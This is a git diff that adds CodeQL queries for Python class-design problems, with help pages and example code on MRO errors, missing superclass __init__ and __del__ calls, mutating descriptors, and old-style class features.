    Use a class hierarchy that is not ambiguous.

    + +
    + +

    The MRO of class X is just X, object. The program will fail when the MRO +of class Y needs to be calculated because object precedes X in +the definition of Y but the opposite is true in the MRO of X.

    + + +
    + + +
  • Python: The Python 2.3 Method Resolution Order.
  • + +
    +
    diff --git a/python/ql/src/Classes/InconsistentMRO.ql b/python/ql/src/Classes/InconsistentMRO.ql new file mode 100644 index 00000000000..08b1016086c --- /dev/null +++ b/python/ql/src/Classes/InconsistentMRO.ql @@ -0,0 +1,27 @@ +/** + * @name Inconsistent method resolution order + * @description Class definition will raise a type error at runtime due to inconsistent method resolution order(MRO) + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity high + * @precision very-high + * @id py/inconsistent-mro + */ + +import python + +ClassObject left_base(ClassObject type, ClassObject base) { + exists(int i | i > 0 and type.getBaseType(i) = base and result = type.getBaseType(i-1)) +} + +predicate invalid_mro(ClassObject t, ClassObject left, ClassObject right) { + t.isNewStyle() and + left = left_base(t, right) and left = right.getAnImproperSuperType() +} + +from ClassObject t, ClassObject left, ClassObject right +where invalid_mro(t, left, right) +select t, "Construction of class " + t.getName() + " can fail due to invalid method resolution order(MRO) for bases $@ and $@.", +left, left.getName(), right, right.getName() \ No newline at end of file diff --git a/python/ql/src/Classes/InitCallsSubclassMethod.py b/python/ql/src/Classes/InitCallsSubclassMethod.py new file mode 100644 index 00000000000..6e0dedb0142 --- /dev/null +++ b/python/ql/src/Classes/InitCallsSubclassMethod.py @@ -0,0 +1,48 @@ +#Superclass __init__ calls subclass method + +class Super(object): + + def __init__(self, arg): + self._state = "Not OK" + self.set_up(arg) + self._state = "OK" + + def set_up(self, arg): + "Do some set up" + +class Sub(Super): + + def __init__(self, arg): + Super.__init__(self, arg) + self.important_state = "OK" + + def set_up(self, arg): + Super.set_up(self, arg) + "Do some more set up" # Dangerous as self._state is "Not OK" + + +#Improved version with inheritance: + +class Super(object): + + def __init__(self, arg): + self._state = "Not OK" + self.super_set_up(arg) + self._state = "OK" + + def super_set_up(self, arg): + "Do some set up" + + +class Sub(Super): + + def __init__(self, arg): + Super.__init__(self, arg) + self.sub_set_up(self, arg) + self.important_state = "OK" + + + def sub_set_up(self, arg): + "Do some more set up" + + diff --git a/python/ql/src/Classes/InitCallsSubclassMethod.qhelp b/python/ql/src/Classes/InitCallsSubclassMethod.qhelp new file mode 100644 index 00000000000..72904a0bd29 --- /dev/null +++ b/python/ql/src/Classes/InitCallsSubclassMethod.qhelp @@ -0,0 +1,42 @@ + + + +

    +When an instance of a class is initialized, the super-class state should be +fully initialized before it becomes visible to the subclass. +Calling methods of the subclass in the superclass' __init__ +method violates this important invariant. +

    + +
    + + +

    Do not use methods that are subclassed in the construction of an object. +For simpler cases move the initialization into the superclass' __init__ method, +preventing it being overridden. Additional initialization of subclass should +be done in the __init__ method of the subclass. +For more complex cases, it is advisable to use a static method or function to manage +object creation. +

    + +

    Alternatively, avoid inheritance altogether using composition instead.

    + +
    + + + + + + + +
  • CERT Secure Coding: +Rule MET05-J. Although this is a Java rule it applies to most object-oriented languages.
  • +
  • Python Standard Library: Static methods.
  • +
  • Wikipedia: Composition over inheritance.
  • + + + +
    +
    diff --git a/python/ql/src/Classes/InitCallsSubclassMethod.ql b/python/ql/src/Classes/InitCallsSubclassMethod.ql new file mode 100644 index 00000000000..5a191d861bf --- /dev/null +++ b/python/ql/src/Classes/InitCallsSubclassMethod.ql @@ -0,0 +1,35 @@ +/** + * @name __init__ method calls overridden method + * @description Calling a method from __init__ that is overridden by a subclass may result in a partially + * initialized instance being observed. + * @kind problem + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity low + * @precision high + * @id py/init-calls-subclass + */ + +import python + + +from ClassObject supercls, string method, Call call, + FunctionObject overriding, FunctionObject overridden + +where +exists(FunctionObject init, SelfAttribute sa | + supercls.declaredAttribute("__init__") = init and + call.getScope() = init.getFunction() and call.getFunc() = sa | + sa.getName() = method and + overridden = supercls.declaredAttribute(method) and + overriding.overrides(overridden) +) + +select call, "Call to self.$@ in __init__ method, which is overridden by $@.", + overridden, method, + overriding, overriding.descriptiveString() + + + + diff --git a/python/ql/src/Classes/MaybeUndefinedClassAttribute.py b/python/ql/src/Classes/MaybeUndefinedClassAttribute.py new file mode 100644 index 00000000000..56ef9805196 --- /dev/null +++ b/python/ql/src/Classes/MaybeUndefinedClassAttribute.py @@ -0,0 +1,25 @@ +class Spam: + + def __init__(self): + self.spam = 'spam, spam, spam' + + def set_eggs(eggs): + self.eggs = eggs + + def __str__(self): + return '%s and %s' % (self.spam, self.eggs) # Maybe uninitialized attribute 'eggs' + +#Fixed version + +class Spam: + + def __init__(self): + self.spam = 'spam, spam, spam' + self.eggs = None + + def set_eggs(eggs): + self.eggs = eggs + + def __str__(self): + return '%s and %s' % (self.spam, self.eggs) # OK + diff --git a/python/ql/src/Classes/MaybeUndefinedClassAttribute.qhelp b/python/ql/src/Classes/MaybeUndefinedClassAttribute.qhelp new file mode 100644 index 00000000000..d4be086c535 --- /dev/null +++ b/python/ql/src/Classes/MaybeUndefinedClassAttribute.qhelp @@ -0,0 +1,32 @@ + + + + + +

    A possibly non-existent attribute of self is accessed in a method. +The attribute is set in another method of the class, but may be uninitialized if the +method that uses the attribute is called before the one that sets it. +This may result in an AttributeError at run time. +

    + +
    + + +

    Ensure that all attributes are initialized in the __init__ method.

    + + +
    + + + + + + + +
  • Python Standard Library: exception AttributeError. +
  • + +
    +
    diff --git a/python/ql/src/Classes/MaybeUndefinedClassAttribute.ql b/python/ql/src/Classes/MaybeUndefinedClassAttribute.ql new file mode 100644 index 00000000000..234cf9e2973 --- /dev/null +++ b/python/ql/src/Classes/MaybeUndefinedClassAttribute.ql @@ -0,0 +1,40 @@ +/** + * @name Maybe undefined class attribute + * @description Accessing an attribute of 'self' that is not initialized in the __init__ method may cause an AttributeError at runtime + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision low + * @id py/maybe-undefined-attribute + */ + +import python +import semmle.python.SelfAttribute + +predicate guarded_by_other_attribute(SelfAttributeRead a, CheckClass c) { + c.sometimesDefines(a.getName()) and + exists(SelfAttributeRead guard, If i | + i.contains(a) and + c.assignedInInit(guard.getName()) | + i.getTest() = guard + or + i.getTest().contains(guard) + ) +} + + +predicate maybe_undefined_class_attribute(SelfAttributeRead a, CheckClass c) { + c.sometimesDefines(a.getName()) and + not c.alwaysDefines(a.getName()) and + c.interestingUndefined(a) and + not guarded_by_other_attribute(a, c) +} + +from Attribute a, ClassObject c, SelfAttributeStore sa +where maybe_undefined_class_attribute(a, c) and +sa.getClass() = c.getPyClass() and sa.getName() = a.getName() +select a, "Attribute '" + a.getName() + +"' is not defined in the class body nor in the __init__() method, but it is defined $@", sa, "here" + diff --git a/python/ql/src/Classes/MethodCallOrder.qll b/python/ql/src/Classes/MethodCallOrder.qll new file mode 100644 index 00000000000..fe6ef07266a --- /dev/null +++ b/python/ql/src/Classes/MethodCallOrder.qll @@ -0,0 +1,67 @@ +import python + +// Helper predicates for multiple call to __init__/__del__ queries. + +pragma [noinline] +private predicate multiple_invocation_paths(FunctionInvocation top, FunctionInvocation i1, FunctionInvocation i2, FunctionObject multi) { + i1 != i2 and + i1 = top.getACallee+() and + i2 = top.getACallee+() and + i1.getFunction() = multi and + i2.getFunction() = multi +} + +/** Holds if `self.name` calls `multi` by multiple paths, and thus calls it more than once. */ +predicate multiple_calls_to_superclass_method(ClassObject self, FunctionObject multi, string name) { + exists(FunctionInvocation top, FunctionInvocation i1, FunctionInvocation i2 | + multiple_invocation_paths(top, i1, i2, multi) and + top.runtime(self.declaredAttribute(name)) and + self.getASuperType().declaredAttribute(name) = multi | + /* Only called twice if called from different functions, + * or if one call-site can reach the other */ + i1.getCall().getScope() != i2.getCall().getScope() + or + i1.getCall().strictlyReaches(i2.getCall()) + ) +} + +/** Holds if all attributes called `name` can be inferred to be methods. */ +private predicate named_attributes_not_method(ClassObject cls, string name) { + cls.declaresAttribute(name) and not cls.declaredAttribute(name) instanceof FunctionObject +} + +/** Holds if `f` actually does something. */ +private predicate does_something(FunctionObject f) { + f.isBuiltin() and not f = theObjectType().lookupAttribute("__init__") + or + exists(Stmt s | s = f.getFunction().getAStmt() and not s instanceof Pass) +} + +/** Holds if `meth` looks like it should have a call to `name`, but does not */ +private predicate missing_call(FunctionObject meth, string name) { + exists(CallNode call, AttrNode attr | + call.getScope() = meth.getFunction() and + call.getFunction() = attr and + attr.getName() = name and + not exists(FunctionObject f | f.getACall() = call) + ) +} + +/** Holds if `self.name` does not call `missing`, even though it is expected to. */ +predicate missing_call_to_superclass_method(ClassObject self, FunctionObject top, FunctionObject missing, string name) { + missing = self.getASuperType().declaredAttribute(name) and + top = self.lookupAttribute(name) and + /* There is no call to missing originating from top */ + not top.getACallee*() = missing and + /* Make sure that all named 'methods' are objects that we can understand. */ + not exists(ClassObject sup | + sup = self.getAnImproperSuperType() and + named_attributes_not_method(sup, name) + ) and + not self.isAbstract() + and + does_something(missing) + and + not missing_call(top, name) +} + diff --git a/python/ql/src/Classes/MissingCallToDel.py b/python/ql/src/Classes/MissingCallToDel.py new file mode 100644 index 00000000000..37520071b3a --- /dev/null +++ b/python/ql/src/Classes/MissingCallToDel.py @@ -0,0 +1,26 @@ + +class Vehicle(object): + + def __del__(self): + recycle(self.base_parts) + +class Car(Vehicle): + + def __del__(self): + recycle(self.car_parts) + Vehicle.__del__(self) + +#Car.__del__ is missed out. +class SportsCar(Car, Vehicle): + + def __del__(self): + recycle(self.sports_car_parts) + Vehicle.__del__(self) + +#Fix SportsCar by calling Car.__del__ +class FixedSportsCar(Car, Vehicle): + + def __del__(self): + recycle(self.sports_car_parts) + Car.__del__(self) + diff --git a/python/ql/src/Classes/MissingCallToDel.qhelp b/python/ql/src/Classes/MissingCallToDel.qhelp new file mode 100644 index 00000000000..864ddd1b56b --- /dev/null +++ b/python/ql/src/Classes/MissingCallToDel.qhelp @@ -0,0 +1,50 @@ + + + + +

    Python, unlike statically typed languages such as Java, allows complete freedom when calling methods during object destruction. +However, standard object-oriented principles apply to Python classes using deep inheritance hierarchies. +Therefore the developer has responsibility for ensuring that objects are properly cleaned up when +there are multiple __del__ methods that need to be called. +

    +

    +If the __del__ method of a superclass is not called during object destruction it is likely that +that resources may be leaked. +

    + +

    A call to the __del__ method of a superclass during object destruction may be omitted: +

    +
      +
    • When a subclass calls the __del__ method of the wrong class.
    • +
    • When a call to the __del__ method of one its base classes is omitted.
    • +
    + + +
    + +

    Either be careful to explicitly call the __del__ of the correct base class, or +use super() throughout the inheritance hierarchy.

    + +

    Alternatively refactor one or more of the classes to use composition rather than inheritance.

    + + +
    + +

    In this example, explicit calls to __del__ are used, but SportsCar erroneously calls +Vehicle.__del__. This is fixed in FixedSportsCar by calling Car.__del__. +

    + + + +
    + + +
  • Python Tutorial: Classes.
  • +
  • Python Standard Library: super.
  • +
  • Artima Developer: Things to Know About Python Super.
  • +
  • Wikipedia: Composition over inheritance.
  • + +
    +
    diff --git a/python/ql/src/Classes/MissingCallToDel.ql b/python/ql/src/Classes/MissingCallToDel.ql new file mode 100644 index 00000000000..d08c8399669 --- /dev/null +++ b/python/ql/src/Classes/MissingCallToDel.ql @@ -0,0 +1,26 @@ +/** + * @name Missing call to __del__ during object destruction + * @description An omitted call to a super-class __del__ method may lead to class instances not being cleaned up properly. + * @kind problem + * @tags efficiency + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/missing-call-to-delete + */ + +import python +import MethodCallOrder + + +from ClassObject self, FunctionObject missing + +where + missing_call_to_superclass_method(self, _, missing, "__del__") and + not missing.neverReturns() and + not self.failedInference() and + not missing.isBuiltin() +select self, "Class " + self.getName() + " may not be cleaned up properly as $@ is not called during deletion.", +missing, missing.descriptiveString() + diff --git a/python/ql/src/Classes/MissingCallToInit.py b/python/ql/src/Classes/MissingCallToInit.py new file mode 100644 index 00000000000..1b3e0e3aee5 --- /dev/null +++ b/python/ql/src/Classes/MissingCallToInit.py @@ -0,0 +1,26 @@ + +class Vehicle(object): + + def __init__(self): + self.mobile = True + +class Car(Vehicle): + + def __init__(self): + Vehicle.__init__(self) + self.car_init() + +#Car.__init__ is missed out. +class SportsCar(Car, Vehicle): + + def __init__(self): + Vehicle.__init__(self) + self.sports_car_init() + +#Fix SportsCar by calling Car.__init__ +class FixedSportsCar(Car, Vehicle): + + def __init__(self): + Car.__init__(self) + self.sports_car_init() + diff --git a/python/ql/src/Classes/MissingCallToInit.qhelp b/python/ql/src/Classes/MissingCallToInit.qhelp new file mode 100644 index 00000000000..31ad3d693a5 --- /dev/null +++ b/python/ql/src/Classes/MissingCallToInit.qhelp @@ -0,0 +1,52 @@ + + + + +

    Python, unlike statically typed languages such as Java, allows complete freedom when calling methods during object initialization. +However, standard object-oriented principles apply to Python classes using deep inheritance hierarchies. +Therefore the developer has responsibility for ensuring that objects are properly initialized when +there are multiple __init__ methods that need to be called. +

    +

    +If the __init__ method of a superclass is not called during object initialization it is likely that +that object will end up in an incorrect state. +

    + +

    A call to the __init__ method of a superclass during object initialization may be omitted: +

    +
      +
    • When a subclass calls the __init__ method of the wrong class.
    • +
    • When a call to the __init__ method of one its base classes is omitted.
    • +
    • When multiple inheritance is used and a class inherits from several base classes, + and at least one of those does not use super() in its own __init__ method.
    • +
    + + +
    + +

    Either be careful to explicitly call the __init__ of the correct base class, or +use super() throughout the inheritance hierarchy.

    + +

    Alternatively refactor one or more of the classes to use composition rather than inheritance.

    + + +
    + +

    In this example, explicit calls to __init__ are used, but SportsCar erroneously calls +Vehicle.__init__. This is fixed in FixedSportsCar by calling Car.__init__. +

    + + + +
    + + +
  • Python Tutorial: Classes.
  • +
  • Python Standard Library: super.
  • +
  • Artima Developer: Things to Know About Python Super.
  • +
  • Wikipedia: Composition over inheritance.
  • + +
    +
    diff --git a/python/ql/src/Classes/MissingCallToInit.ql b/python/ql/src/Classes/MissingCallToInit.ql new file mode 100644 index 00000000000..ad137f817f4 --- /dev/null +++ b/python/ql/src/Classes/MissingCallToInit.ql @@ -0,0 +1,28 @@ +/** + * @name Missing call to __init__ during object initialization + * @description An omitted call to a super-class __init__ method may lead to objects of this class not being fully initialized. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/missing-call-to-init + */ + +import python +import MethodCallOrder + +from ClassObject self, FunctionObject initializer, FunctionObject missing + +where + self.lookupAttribute("__init__") = initializer and + missing_call_to_superclass_method(self, initializer, missing, "__init__") and + // If a superclass is incorrect, don't flag this class as well. + not missing_call_to_superclass_method(self.getASuperType(), _, missing, "__init__") and + not missing.neverReturns() and + not self.failedInference() and + not missing.isBuiltin() and + not self.isAbstract() +select self, "Class " + self.getName() + " may not be initialized properly as $@ is not called from its $@.", +missing, missing.descriptiveString(), initializer, "__init__ method" \ No newline at end of file diff --git a/python/ql/src/Classes/MutatingDescriptor.py b/python/ql/src/Classes/MutatingDescriptor.py new file mode 100644 index 00000000000..eb73aace928 --- /dev/null +++ b/python/ql/src/Classes/MutatingDescriptor.py @@ -0,0 +1,40 @@ + +#This is prone to strange side effects and race conditions. +class MutatingDescriptor(object): + + def __init__(self, func): + self.my_func = func + + def __get__(self, obj, obj_type): + #Modified state is visible to all instances of C that might call "show". + self.my_obj = obj + return self + + def __call__(self, *args): + return self.my_func(self.my_obj, *args) + +def show(obj): + print (obj) + +class C(object): + + def __init__(self, value): + self.value = value + + def __str__(self): + return ("C: " + str(self.value)) + + show = MutatingDescriptor(show) + +c1 = C(1) +c1.show() +c2 = C(2) +c2.show() +c1_show = c1.show +c2.show +c1_show() + +#Outputs: +#C: 1 +#C: 2 +#C: 2 \ No newline at end of file diff --git a/python/ql/src/Classes/MutatingDescriptor.qhelp b/python/ql/src/Classes/MutatingDescriptor.qhelp new file mode 100644 index 00000000000..a424c47dfb0 --- /dev/null +++ b/python/ql/src/Classes/MutatingDescriptor.qhelp @@ -0,0 +1,42 @@ + + + + +

    The descriptor protocol allows user programmable attribute access. +The descriptor protocol is what enables class methods, static methods, properties and super(). +

    + +

    +Descriptor objects are class attributes which control the behavior of instance attributes. Consequently, a single descriptor +is common to all instances of a class and should not be mutated when instance attributes are accessed. +

    + + +
    + + +

    Do not mutate the descriptor object, rather create a new object that contains the necessary state.

    + + +
    + +

    In this example the descriptor class MutatingDescriptor stores a reference to obj in an attribute. +

    + +

    In the following example, the descriptor class NonMutatingDescriptor returns a new object every time __get__ +is called. + +

    + +
    + + +
  • Python Language Reference: Implementing Descriptors.
  • +
  • Mark Lutz. Learning Python, Section 30.6: Methods Are Objects: Bound or Unbound. O'Reilly 2013.
  • +
  • A real world example: NumPy Issue 5247.
  • + + +
    +
    diff --git a/python/ql/src/Classes/MutatingDescriptor.ql b/python/ql/src/Classes/MutatingDescriptor.ql new file mode 100644 index 00000000000..328c1fe86ab --- /dev/null +++ b/python/ql/src/Classes/MutatingDescriptor.ql @@ -0,0 +1,28 @@ +/** + * @name Mutation of descriptor in __get__ or __set__ method. + * @description Descriptor objects can be shared across many instances. Mutating them can cause strange side effects or race conditions. + * @kind problem + * @tags reliability + * correctness + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/mutable-descriptor + */ + +import python + +predicate mutates_descriptor(ClassObject cls, SelfAttributeStore s) { + cls.isDescriptorType() and + exists(PyFunctionObject f | + cls.lookupAttribute(_) = f and + not f.getName() = "__init__" and + s.getScope() = f.getFunction() + ) +} + +from ClassObject cls, SelfAttributeStore s +where +mutates_descriptor(cls, s) + +select s, "Mutation of descriptor $@ object may lead to action-at-a-distance effects or race conditions for properties.", cls, cls.getName() \ No newline at end of file diff --git a/python/ql/src/Classes/MutatingDescriptorFixed.py b/python/ql/src/Classes/MutatingDescriptorFixed.py new file mode 100644 index 00000000000..113a3e69d35 --- /dev/null +++ b/python/ql/src/Classes/MutatingDescriptorFixed.py @@ -0,0 +1,37 @@ +import types + +#Immutable version, which is safe to share. +class NonMutatingDescriptor(object): + + def __init__(self, func): + self.my_func = func + + def __get__(self, obj, obj_type): + #Return a new object to each access. + return types.MethodType(self.my_func, obj) + +def show(obj): + print (obj) + +class C(object): + + def __init__(self, value): + self.value = value + + def __str__(self): + return ("C: " + str(self.value)) + + show = NonMutatingDescriptor(show) + +c1 = C(1) +c1.show() +c2 = C(2) +c2.show() +c1_show = c1.show +c2.show +c1_show() + +#Outputs: +#C: 1 +#C: 2 +#C: 1 \ No newline at end of file diff --git a/python/ql/src/Classes/OverwritingAttributeInSuperClass.py b/python/ql/src/Classes/OverwritingAttributeInSuperClass.py new file mode 100644 index 00000000000..4322093634e --- /dev/null +++ b/python/ql/src/Classes/OverwritingAttributeInSuperClass.py @@ -0,0 +1,35 @@ + +#Attribute set in both superclass and subclass +class C(object): + + def __init__(self): + self.var = 0 + +class D(C): + + def __init__(self): + self.var = 1 # self.var will be overwritten + C.__init__(self) + +class E(object): + + def __init__(self): + self.var = 0 # self.var will be overwritten + +class F(E): + + def __init__(self): + E.__init__(self) + self.var = 1 + +#Fixed version -- Pass explicitly as a parameter +class G(object): + + def __init__(self, var = 0): + self.var = var + +class H(G): + + def __init__(self): + G.__init__(self, 1) + diff --git a/python/ql/src/Classes/OverwritingAttributeInSuperClass.qhelp b/python/ql/src/Classes/OverwritingAttributeInSuperClass.qhelp new file mode 100644 index 00000000000..667ad35e02d --- /dev/null +++ b/python/ql/src/Classes/OverwritingAttributeInSuperClass.qhelp @@ -0,0 +1,29 @@ + + + +

    +Subclasses should not set attributes that are set in the superclass. +Doing so may violate invariants in the superclass.

    + +
    + + +

    +If you did not intend to override the attribute value set in the superclass, +then rename the subclass attribute. +If you do want to be able to set a new value for the attribute of the superclass, +then convert the superclass attribute to a property. +Otherwise the value should be passed as a parameter to the superclass +__init__ method. +

    + +
    + + + + + + +
    diff --git a/python/ql/src/Classes/OverwritingAttributeInSuperClass.ql b/python/ql/src/Classes/OverwritingAttributeInSuperClass.ql new file mode 100644 index 00000000000..bd2be2ed379 --- /dev/null +++ b/python/ql/src/Classes/OverwritingAttributeInSuperClass.ql @@ -0,0 +1,71 @@ +/** + * @name Overwriting attribute in super-class or sub-class + * @description Assignment to self attribute overwrites attribute previously defined in subclass or superclass __init__ method. + * @kind problem + * @tags reliability + * maintainability + * modularity + * @problem.severity warning + * @sub-severity low + * @precision medium + * @id py/overwritten-inherited-attribute + */ + +import python + + +class InitCallStmt extends ExprStmt { + + InitCallStmt() { + exists(Call call, Attribute attr | call = this.getValue() and attr = call.getFunc() | + attr.getName() = "__init__") + } + +} + +predicate overwrites_which(Function subinit, AssignStmt write_attr, string which) { + write_attr.getScope() = subinit and self_write_stmt(write_attr, _) and + exists(Stmt top | top.contains(write_attr) or top = write_attr | + (exists(int i, int j, InitCallStmt call | call.getScope() = subinit | i > j and top = subinit.getStmt(i) and call = subinit.getStmt(j) and which = "superclass") + or + exists(int i, int j, InitCallStmt call | call.getScope() = subinit | i < j and top = subinit.getStmt(i) and call = subinit.getStmt(j) and which = "subclass") + ) + ) +} + +predicate self_write_stmt(Stmt s, string attr) { + exists(Attribute a, Name self | self = a.getObject() and s.contains(a) and self.getId() = "self" and a.getCtx() instanceof Store and a.getName() = attr) +} + +predicate both_assign_attribute(Stmt s1, Stmt s2, Function f1, Function f2) { + exists(string name | s1.getScope() = f1 and s2.getScope() = f2 and self_write_stmt(s1, name) and self_write_stmt(s2, name)) +} + +predicate attribute_overwritten(AssignStmt overwrites, AssignStmt overwritten, string name, string classtype, string classname) +{ + exists(FunctionObject superinit, FunctionObject subinit, ClassObject superclass, ClassObject subclass, AssignStmt subattr, AssignStmt superattr | + (classtype = "superclass" and classname = superclass.getName() and overwrites = subattr and overwritten = superattr or + classtype = "subclass" and classname = subclass.getName() and overwrites = superattr and overwritten = subattr) + and + /* OK if overwritten in subclass and is a class attribute */ + (not exists(superclass.declaredAttribute(name)) or classtype = "subclass") + and + superclass.declaredAttribute("__init__") = superinit + and + subclass.declaredAttribute("__init__") = subinit + and + superclass = subclass.getASuperType() + and + overwrites_which(subinit.getFunction(), subattr, classtype) + and + both_assign_attribute(subattr, superattr, subinit.getFunction(), superinit.getFunction()) + and + self_write_stmt(superattr, name) + ) +} + + +from string classtype, AssignStmt overwrites, AssignStmt overwritten, string name, string classname +where attribute_overwritten(overwrites, overwritten, name, classtype, classname) + +select overwrites, "Assignment overwrites attribute " + name + ", which was previously defined in " + classtype + " $@.", overwritten, classname diff --git a/python/ql/src/Classes/PropertyInOldStyleClass.py b/python/ql/src/Classes/PropertyInOldStyleClass.py new file mode 100644 index 00000000000..73ab9ac7ae2 --- /dev/null +++ b/python/ql/src/Classes/PropertyInOldStyleClass.py @@ -0,0 +1,42 @@ + +class OldStyle: + + def __init__(self, x): + self._x = x + + # Incorrect: 'OldStyle' is not a new-style class and '@property' is not supported + @property + def x(self): + return self._x + + +class InheritOldStyle(OldStyle): + + def __init__(self, x): + self._x = x + + # Incorrect: 'InheritOldStyle' is not a new-style class and '@property' is not supported + @property + def x(self): + return self._x + + +class NewStyle(object): + + def __init__(self, x): + self._x = x + + # Correct: 'NewStyle' is a new-style class and '@property' is supported + @property + def x(self): + return self._x + +class InheritNewStyle(NewStyle): + + def __init__(self, x): + self._x = x + + # Correct: 'InheritNewStyle' inherits from a new-style class and '@property' is supported + @property + def x(self): + return self._x diff --git a/python/ql/src/Classes/PropertyInOldStyleClass.qhelp b/python/ql/src/Classes/PropertyInOldStyleClass.qhelp new file mode 100644 index 00000000000..1236cb785c9 --- /dev/null +++ b/python/ql/src/Classes/PropertyInOldStyleClass.qhelp @@ -0,0 +1,43 @@ + + + + + +

    Property descriptors are only supported for the new-style classes that were introduced in Python +2.1. Property descriptors should only be used in new-style classes.

    + +
    + + +

    If you want to define properties in a class, then ensure that the class is a new-style class. You can +convert an old-style class to a new-style class by inheriting from object.

    + +
    + +

    In the following example all the classes attempt to set a property for x. However, only +the third and fourth classes are new-style classes. Consequently, the x +property is only available for the NewStyle and InheritNewStyle classes.

    + +

    If you define the OldStyle class as inheriting from a new-style class, then the x + property would be available for both the OldStyle and InheritOldStyle classes.

    + + + + +
    + + +
  • Python Glossary: New-style class.
  • +
  • Python Language Reference: New-style and classic +classes, + +Descriptors.
  • +
  • Python Standard Library: Property.
  • +
  • The History of Python: +Inside story on new-style classes.
  • + + +
    +
    diff --git a/python/ql/src/Classes/PropertyInOldStyleClass.ql b/python/ql/src/Classes/PropertyInOldStyleClass.ql new file mode 100644 index 00000000000..fb2c822a573 --- /dev/null +++ b/python/ql/src/Classes/PropertyInOldStyleClass.ql @@ -0,0 +1,17 @@ +/** + * @name Property in old-style class + * @description Using property descriptors in old-style classes does not work from Python 2.1 onward. + * @kind problem + * @tags portability + * correctness + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/property-in-old-style-class + */ + +import python + +from PropertyObject prop, ClassObject cls +where cls.declaredAttribute(_) = prop and not cls.failedInference() and not cls.isNewStyle() +select prop, "Property " + prop.getName() + " will not work properly, as class " + cls.getName() + " is an old-style class." diff --git a/python/ql/src/Classes/ShouldBeContextManager.py b/python/ql/src/Classes/ShouldBeContextManager.py new file mode 100644 index 00000000000..94e890192e3 --- /dev/null +++ b/python/ql/src/Classes/ShouldBeContextManager.py @@ -0,0 +1,33 @@ +class remotelock(object): # Resources can be released using __del__ + + def __init__(self, repo): + self.repo = repo + + def release(self): + self.repo.unlock() + self.repo = None + + def __del__(self): + if self.repo: + self.release() + + +class remotelock2(object): # Resources can be released using a with statement + + def __init__(self, repo): + self.repo = repo + + def __enter__(self): + return self + + def release(self): + self.repo.unlock() + self.repo = None + + def __del__(self): + if self.repo: + self.release() + + def __exit__(self, exct_type, exce_value, traceback): + if self.repo: + self.release() diff --git a/python/ql/src/Classes/ShouldBeContextManager.qhelp b/python/ql/src/Classes/ShouldBeContextManager.qhelp new file mode 100644 index 00000000000..7c497688499 --- /dev/null +++ b/python/ql/src/Classes/ShouldBeContextManager.qhelp @@ -0,0 +1,42 @@ + + + +

    If a class has a close() or similar method to release resources, then it +should be made a context manager. Using a context manager allows instances of the class to be used +in the with statement, improving code size and readability. This is a simpler and more +reliable method than implementing just a __del__ method. +

    + +
    + +

    The context manager requires an __enter__ and an __exit__ method:

    +
      +
    • +__enter__ method acquires the resource or does nothing if the resource +is acquired in the __init__ method
    • +
    • __exit__ method releases the resource, this can just be a simple wrapper around the + close method.
    • +
    + +
    + +

    The following example shows how a class definition that implements __del__ can be +updated to use a context manager.

    + + + + +
    + + +
  • Effbot: Python with statement.
  • +
  • Python Standard Library: Context manager +.
  • +
  • Python Language Reference: +With Statement Context Managers.
  • +
  • Python PEP 343: The "with" Statement.
  • + +
    +
    diff --git a/python/ql/src/Classes/ShouldBeContextManager.ql b/python/ql/src/Classes/ShouldBeContextManager.ql new file mode 100644 index 00000000000..d7394728935 --- /dev/null +++ b/python/ql/src/Classes/ShouldBeContextManager.ql @@ -0,0 +1,19 @@ +/** + * @name Class should be a context manager + * @description Making a class a context manager allows instances to be used in a 'with' statement. + * This improves resource handling and code readability. + * @kind problem + * @tags maintainability + * readability + * convention + * @problem.severity recommendation + * @sub-severity high + * @precision medium + * @id py/should-be-context-manager + */ + +import python + +from ClassObject c +where not c.isC() and not c.isContextManager() and exists(c.declaredAttribute("__del__")) +select c, "Class " + c.getName() + " implements __del__ (presumably to release some resource). Consider making it a context manager." diff --git a/python/ql/src/Classes/SlotsInOldStyleClass.py b/python/ql/src/Classes/SlotsInOldStyleClass.py new file mode 100644 index 00000000000..67858d9fd4e --- /dev/null +++ b/python/ql/src/Classes/SlotsInOldStyleClass.py @@ -0,0 +1,20 @@ +class Point: + + __slots__ = [ '_x', '_y' ] # Incorrect: 'Point' is an old-style class. + # No slots are created. + # Instances of Point have an attribute dictionary. + + def __init__(self, x, y): + self._x = x + self._y = y + + +class Point2(object): + + __slots__ = [ '_x', '_y' ] # Correct: 'Point2' is an new-style class + # Two slots '_x' and '_y' are created. + # Instances of Point2 have no attribute dictionary. + + def __init__(self, x, y): + self._x = x + self._y = y diff --git a/python/ql/src/Classes/SlotsInOldStyleClass.qhelp b/python/ql/src/Classes/SlotsInOldStyleClass.qhelp new file mode 100644 index 00000000000..eb7208d6257 --- /dev/null +++ b/python/ql/src/Classes/SlotsInOldStyleClass.qhelp @@ -0,0 +1,37 @@ + + + + +

    The ability to override the class dictionary using a __slots__ declaration +is supported only by new-style classes. When you add a __slots__ declaration to an +old-style class it just creates a class attribute called '__slots__'.

    + +
    + + +

    If you want to override the dictionary for a class, then ensure that the class is a new-style class. +You can convert an old-style class to a new-style class by inheriting from object.

    + +
    + +

    In the following example the KeyedRef class is an old-style class (no inheritance). The +__slots__ declaration in this class creates a class attribute called '__slots__', the class +dictionary is unaffected. The KeyedRef2 class is a new-style class so the +__slots__ declaration causes special compact attributes to be created for each name in +the slots list and saves space by not creating attribute dictionaries.

    + + + +
    + + +
  • Python Glossary: New-style class.
  • +
  • Python Language Reference: New-style and classic +classes, + __slots__.
  • + + +
    +
